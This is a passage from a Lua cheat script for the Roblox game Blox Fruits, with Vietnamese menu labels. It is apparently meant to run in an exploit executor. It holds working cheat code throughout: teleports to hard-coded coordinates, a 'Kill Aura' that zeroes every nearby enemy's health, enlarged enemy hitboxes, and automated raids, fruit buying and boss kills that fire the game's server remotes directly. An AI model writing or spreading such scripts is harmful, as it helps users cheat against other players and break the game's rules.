game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Frist Spot" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-11.311455726624, 29.276733398438, 2771.5224609375)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Dark Area" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(3780.0302734375, 22.652164459229, -3498.5859375)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Flamingo Mansion" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-483.73370361328, 332.0383605957, 595.32708740234)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Flamingo Room" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(2284.4140625, 15.152037620544, 875.72534179688)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Green Zone" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-2448.5300292969, 73.016105651855, -3210.6306152344)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Factory" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(424.12698364258, 211.16171264648, -427.54049682617)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Colossuim" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1503.6224365234, 219.7956237793, 1369.3101806641)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Zombie Island" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-5622.033203125, 492.19604492188, -781.78552246094)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Two Snow Mountain" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(753.14288330078, 408.23559570313, -5274.6147460938)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Punk Hazard" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-6127.654296875, 15.951762199402, -5040.2861328125)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Cursed Ship" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(923.40197753906, 125.05712890625, 32885.875)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Ice Castle" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(6148.4116210938, 294.38687133789, -6741.1166992188)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Forgotten Island" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-3032.7641601563, 317.89672851563, -10075.373046875)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Ussop Island" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(4816.8618164063, 8.4599885940552, 2863.8195800781)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Mini Sky Island" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-288.74060058594, 49326.31640625, -35248.59375)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "WindMill" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(979.79895019531, 16.516613006592, 1429.0466308594)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Marine" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-2566.4296875, 6.8556680679321, 2045.2561035156)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Middle Town" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-690.33081054688, 15.09425163269, 1582.2380371094)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Jungle" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1612.7957763672, 36.852081298828, 149.12843322754)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Pirate Village" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1181.3093261719, 4.7514905929565, 3803.5456542969)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Desert" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(944.15789794922, 20.919729232788, 4373.3002929688)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Snow Island" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(1347.8067626953, 104.66806030273, -1319.7370605469)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "MarineFord" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-4914.8212890625, 50.963626861572, 4281.0278320313)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Colosseum" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1427.6203613281, 7.2881078720093, -2792.7722167969)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Sky Island 1" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-4869.1025390625, 733.46051025391, -2667.0180664063)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Prison" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(4875.330078125, 5.6519818305969, 734.85021972656)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Magma Village" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-5247.7163085938, 12.883934020996, 8504.96875)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Fountain City" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(127.1284179688, 59.501365661621, 4105.4458007813)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Shank Room" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1442.16553, 29.8788261, -28.3547478)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

elseif \_G.SelectIsland == "Mob Island" then

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-2850.20068, 7.39224768, 5354.99268)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

end

end

end)

Teleport:Seperator(" WORLD ")

Teleport:Button("Qua Sea1",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("TravelMain")

end)

Teleport:Button("Qua Sea2",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("TravelDressrosa")

end)

Teleport:Button("Qua Sea3",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("TravelZou")

end)

if World1 then

Dungeon:Label("Dungeon Raid Only Available At Sea 2 and 3")

end

if World2 or World3 then

Dungeon:Seperator("Use in Dungeon Only!")

chip = {

"Flame",

"Ice",

"Quake",

"Light",

"Dark",

"String",

"Rumble",

"Magma",

"Human: Buddha",

"Sand",

"Bird: Phoenix"

}

Dungeon:Dropdown("Chip Cần Mua",chip,function(value)

\_G.Select\_Dungeon = value

end)

Dungeon:Toggle("Mua Chip Đã Chọn",\_G.Auto\_Buy\_Chips\_Dungeon,function(value)

\_G.Auto\_Buy\_Chips\_Dungeon = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Buy\_Chips\_Dungeon then

pcall(function()

local args = {

[1] = "RaidsNpc",

[2] = "Select",

[3] = \_G.Select\_Dungeon

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end)

end

end

end)

Dungeon:Toggle("Auto Lấy Fruit Dưới 1M",\_G.Autofruit,function(value)

\_G.Autofruit = value

end)

spawn(function()

while wait(.1) do

pcall(function()

if \_G.Autofruit then

-- Script generated by SimpleSpy - credits to exx#939

local args = {

[1] = "LoadFruit",

[2] = "Kilo-Kilo"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Spin-Spin"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Chop-Chop"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Spring-Spring"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Bomb-Bomb"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Smoke-Smoke"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Spike-Spike"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Flame-Flame"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Falcon-Falcon"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Ice-Ice"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Sand-Sand"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Dark-Dark"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Revive-Revive"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Diamond-Diamond"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Light-Light"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Rubber-Rubber"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "LoadFruit",

[2] = "Barrier-Barrier"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

game:GetService("Players").LocalPlayer.PlayerGui.Notifications:Destroy()

end

end)

end

end)

Dungeon:Toggle("Tự Động Stats Raid",\_G.Auto\_StartRaid,function(value)

\_G.Auto\_StartRaid = value

end)

spawn(function()

while wait(.1) do

pcall(function()

if \_G.Auto\_StartRaid then

if game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Timer.Visible == false then

if not game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 1") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Special Microchip") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Special Microchip") then

if World2 then

fireclickdetector(game:GetService("Workspace").Map.CircleIsland.RaidSummon2.Button.Main.ClickDetector)

elseif World3 then

fireclickdetector(game:GetService("Workspace").Map["Boat Castle"].RaidSummon2.Button.Main.ClickDetector)

end

end

end

end

end)

end

end)

Dungeon:Toggle("Tự Động Đến Đảo Tiếp Theo",\_G.Auto\_Next\_Island,function(value)

\_G.Auto\_Next\_Island = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Next\_Island then

if not game.Players.LocalPlayer.PlayerGui.Main.Timer.Visible == false then

if game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 5") then

topos(game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 5").CFrame \* CFrame.new(0,70,100))

elseif game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 4") then

topos(game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 4").CFrame \* CFrame.new(0,70,100))

elseif game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 3") then

topos(game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 3").CFrame \* CFrame.new(0,70,100))

elseif game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 2") then

topos(game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 2").CFrame \* CFrame.new(0,70,100))

elseif game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 1") then

topos(game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 1").CFrame \* CFrame.new(0,70,100))

end

end

end

end

end)

Dungeon:Toggle("Kill Aura",\_G.Kill\_Aura,function(value)

\_G.Kill\_Aura = value

end)

spawn(function()

while wait() do

if \_G.Kill\_Aura then

for i,v in pairs(game.Workspace.Enemies:GetDescendants()) do

if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then

pcall(function()

repeat wait(.001)

v.Humanoid.Health = 0

v.HumanoidRootPart.CanCollide = false

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

until not \_G.Kill\_Aura or not v.Parent or v.Humanoid.Health <= 0

end)

end

end

end

end

end)

Dungeon:Toggle("Tự Động Thức Tỉnh",\_G.Auto\_Awake,function(value)

\_G.Auto\_Awake = value

end)

spawn(function()

while wait(.1) do

if \_G.Auto\_Awake then

pcall(function()

local args = {

[1] = "Awakener",

[2] = "Check"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

local args = {

[1] = "Awakener",

[2] = "Awaken"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end)

end

end

end)

Dungeon:Button("Check Thức Tỉnh",function()

pcall(function()

game.Players.LocalPlayer.PlayerGui.Main.AwakeningToggler.Visible = true

end)

end)

Dungeon:Button("Qua Đảo Tiếp Theo",function()

pcall(function()

if game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 5") then

topos(game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 5").CFrame\*CFrame.new(0,70,100))

elseif game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 4") then

topos(game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 4").CFrame\*CFrame.new(0,70,100))

elseif game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 3") then

topos(game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 3").CFrame\*CFrame.new(0,70,100))

elseif game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 2") then

topos(game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 2").CFrame\*CFrame.new(0,70,100))

elseif game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 1") then

topos(game:GetService("Workspace")["\_WorldOrigin"].Locations:FindFirstChild("Island 1").CFrame\*CFrame.new(0,70,100))

end

end)

end)

local function toTarget(...)

local RealtargetPos = {...}

local targetPos = RealtargetPos[1]

local RealTarget

if type(targetPos) == "vector" then

RealTarget = CFrame.new(targetPos)

elseif type(targetPos) == "userdata" then

RealTarget = targetPos

elseif type(targetPos) == "number" then

RealTarget = CFrame.new(unpack(RealtargetPos))

end

if game.Players.LocalPlayer.Character:WaitForChild("Humanoid").Health == 0 then if tween then tween:Cancel() end repeat wait() until game.Players.LocalPlayer.Character:WaitForChild("Humanoid").Health > 0; wait(0.2) end

local tweenfunc = {}

local Distance = (RealTarget.Position - game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart").Position).Magnitude

if Distance < 1000 then

Speed = 315

elseif Distance >= 1000 then

Speed = 300

end

function topos(Pos)

Distance = (Pos.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude

if Distance < 250 then

Speed = 600

elseif Distance >= 1000 then

Speed = 200

end

game:GetService("TweenService"):Create(

game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,

TweenInfo.new(Distance/Speed, Enum.EasingStyle.Linear),

{CFrame = Pos}

):Play()

\_G.Clip = true

wait(Distance/Speed)

\_G.Clip = false

end

end

Dungeon:Seperator("\\\\\ Law Dungeon //")

Dungeon:Toggle("Mua Chip Law",\_G.Auto\_Buy\_Law\_Chip,function(value)

\_G.Auto\_Buy\_Law\_Chip = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Buy\_Law\_Chip then

pcall(function()

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Microchip") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Microchip") or game:GetService("Workspace").Enemies:FindFirstChild("Order [Lv. 1250] [Raid Boss]") or game:GetService("ReplicatedStorage"):FindFirstChild("Order [Lv. 1250] [Raid Boss]") then

else

local args = {

[1] = "BlackbeardReward",

[2] = "Microchip",

[3] = "2"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

end)

end

end

end)

Dungeon:Toggle("Bắt Đầu Raid Law ",\_G.Auto\_Start\_Law\_Dungeon,function(value)

\_G.Auto\_Start\_Law\_Dungeon = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Start\_Law\_Dungeon then

pcall(function()

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Microchip") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Microchip") then

fireclickdetector(game:GetService("Workspace").Map.CircleIsland.RaidSummon.Button.Main.ClickDetector)

end

end)

end

end

end)

Dungeon:Toggle("Auto Kill Law",\_G.Auto\_Kill\_Law,function(value)

\_G.Auto\_Kill\_Law = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Kill\_Law then

pcall(function()

if game:GetService("ReplicatedStorage"):FindFirstChild("Order [Lv. 1250] [Raid Boss]") or game:GetService("Workspace").Enemies:FindFirstChild("Order [Lv. 1250] [Raid Boss]") then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if \_G.Auto\_Kill\_Law and v.Name == "Order [Lv. 1250] [Raid Boss]" and v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

repeat task.wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* CFrame.new(0,30,0))

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until not \_G.Auto\_Kill\_Law or v.Humanoid.Health <= 0 or not v.Parent

end

end

end

end)

end

end

end)

end

DevilFruit:Seperator(" Khi Bán ")

FruitList = {

"Bomb-Bomb",

"Spike-Spike",

"Chop-Chop",

"Spring-Spring",

"Kilo-Kilo",

"Spin-Spin",

"Bird: Falcon",

"Smoke-Smoke",

"Flame-Flame",

"Ice-Ice",

"Sand-Sand",

"Dark-Dark",

"Revive-Revive",

"Diamond-Diamond",

"Light-Light",

"Love-Love",

"Rubber-Rubber",

"Barrier-Barrier",

"Magma-Magma",

"Door-Door",

"Quake-Quake",

"Human-Human: Buddha",

"String-String",

"Bird-Bird: Phoenix",

"Rumble-Rumble",

"Paw-Paw",

"Gravity-Gravity",

"Dough-Dough",

"Venom-Venom",

"Shadow-Shadow",

"Control-Control",

"Soul-Soul",

"Dragon-Dragon",

"Leopard-Leopard"

}

\_G.SelectFruit = ""

DevilFruit:Dropdown("Chọn Fruit",FruitList,function(value)

\_G.SelectFruit = value

end)

DevilFruit:Toggle("Mua Fruit",\_G.AutoBuyFruitSniper,function(value)

\_G.AutoBuyFruitSniper = value

end)

DevilFruit:Seperator(" Ramdom ")

DevilFruit:Dropdown("Chọn Fruit Để Ăn",FruitList,function(value)

\_G.SelectFruitEat = value

end)

DevilFruit:Toggle("Ăn Fruit Đã Chọn",\_G.AutoEatFruit,function(value)

\_G.AutoEatFruit = value

end)

spawn(function()

pcall(function()

while wait(.1) do

if \_G.AutoEatFruit then

game:GetService("Players").LocalPlayer.Character:FindFirstChild(\_G.SelectFruitEat).EatRemote:InvokeServer()

end

end

end)

end)

spawn(function()

pcall(function()

while wait(.1) do

if \_G.AutoBuyFruitSniper then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("GetFruits")

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("PurchaseRawFruit",\_G.SelectFruit)

end

end

end)

end)

DevilFruit:Toggle("Tự Động Quay Fruit",\_G.Random\_Auto,function(value)

\_G.Random\_Auto = value

end)

spawn(function()

pcall(function()

while wait(.1) do

if \_G.Random\_Auto then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Cousin","Buy")

end

end

end)

end)

DevilFruit:Button("Tăng Nhân Phẩm Quay Fruit",function()

local DiscordLib = {}

local TweenService = game:GetService("TweenService")

local Balaraja = Instance.new("ScreenGui")

Balaraja.Name = "Balaraja"

Balaraja.Parent = game.CoreGui

Balaraja.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

local NotiFrame = Instance.new("Frame")

NotiFrame.Name = "NotiFrame"

NotiFrame.Parent = Balaraja

NotiFrame.AnchorPoint = Vector2.new(0.5, 0.5)

NotiFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

NotiFrame.BackgroundTransparency = 1

NotiFrame.Position = UDim2.new(1.2, 0, 0.0613496937, 0)

NotiFrame.Size = UDim2.new(0, 1632, 0 , 100)

local Notilistlayout = Instance.new("UIListLayout")

Notilistlayout.Name = "Notilistlayout"

Notilistlayout.Parent = NotiFrame

Notilistlayout.FillDirection = Enum.FillDirection.Vertical

Notilistlayout.SortOrder = Enum.SortOrder.LayoutOrder

Notilistlayout.Padding = UDim.new(0, 5)

function DiscordLib:Notification(text,text2,delays,logo)

if logo == nil then

logo = ""

end

if delays == nil then

delays = 1

end

local TitleFrame = Instance.new("Frame")

TitleFrame.Name = "TitleFrame"

TitleFrame.Parent = NotiFrame

TitleFrame.BackgroundColor3 = Color3.fromRGB(35,35,35)

TitleFrame.Size = UDim2.new(0, 0, 0, 0)

local Main\_UiStroke = Instance.new("UIStroke")

